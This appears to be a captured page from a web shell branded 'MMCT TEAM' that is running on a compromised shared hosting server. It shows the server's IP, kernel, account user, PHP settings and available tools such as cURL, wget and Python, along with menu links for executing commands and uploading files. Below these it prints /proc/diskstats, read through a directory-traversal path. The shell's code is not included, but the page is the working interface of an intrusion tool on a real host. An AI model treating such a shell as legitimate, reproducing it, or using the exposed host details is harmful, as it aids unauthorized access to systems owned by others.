MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.116.14.48
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../proc/diskstats
   1       0 ram0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       1 ram1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       2 ram2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       3 ram3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       4 ram4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       5 ram5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       6 ram6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       7 ram7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       8 ram8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       9 ram9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      10 ram10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      11 ram11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      12 ram12 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      13 ram13 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      14 ram14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      15 ram15 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8       0 sda 8160040758 150312674 224490140158 3448676605 7662325786 3174347346 251346298656 4030568332 0 3899350503 938074060 0 0 0 0
   8       1 sda1 1340008327 37634 43854570490 683065726 2271763404 325348251 87960896144 3121093233 0 465703589 3795532808 0 0 0 0
   8       2 sda2 2668956 630 42659850 1986406 59528979 117433978 3586188944 69375820 0 11994551 69651819 0 0 0 0
   8       3 sda3 67590641 11181100 638838424 21806205 212878491 80564849 2347546720 182682525 0 54954777 205705458 0 0 0 0
   8       4 sda4 21904 0 125768 8087 0 0 0 0 0 8090 8090 0 0 0 0
   8       5 sda5 6749736717 139093310 179953569954 2741804803 5053101652 2651000268 157451666848 649135357 0 1624859537 3363927948 0 0 0 0
   8      16 sdb 10307010979 2569438 152215639074 3755116660 199151266 232625926 25763756160 219014306 0 1402345230 3294568964 0 0 0 0
   8      17 sdb1 10306996587 2569438 152215265746 3755111365 189031093 232625926 25763756160 218398322 0 2255556582 3946569403 0 0 0 0
   8      48 sdd 10297963169 2145890 147634009706 3649173715 239854147 303732876 19115304552 220817121 0 1843802791 3564821902 0 0 0 0
   8      49 sdd1 10297948786 2145890 147633636450 3649168491 227557072 303732876 19115304552 220035554 0 2299191662 3830511883 0 0 0 0
   8      64 sde 19337734390 2858754 262293910274 2637692590 361335861 467637196 22229046152 293394645 0 1006768833 224797209 0 0 0 0
   8      65 sde1 19337719983 2858754 262293536826 2637687850 337356338 467637196 22229046152 291868545 0 3994119528 2884991814 0 0 0 0
   8      32 sdc 10824510180 1740537 142943682626 3627580781 182756927 228690403 12936241368 163273995 0 617737119 2354245432 0 0 0 0
   8      33 sdc1 10824495772 1740537 142943309170 3627575845 169663700 228690403 12936241368 162517810 0 2280080923 3754066785 0 0 0 0

MMCT - 2023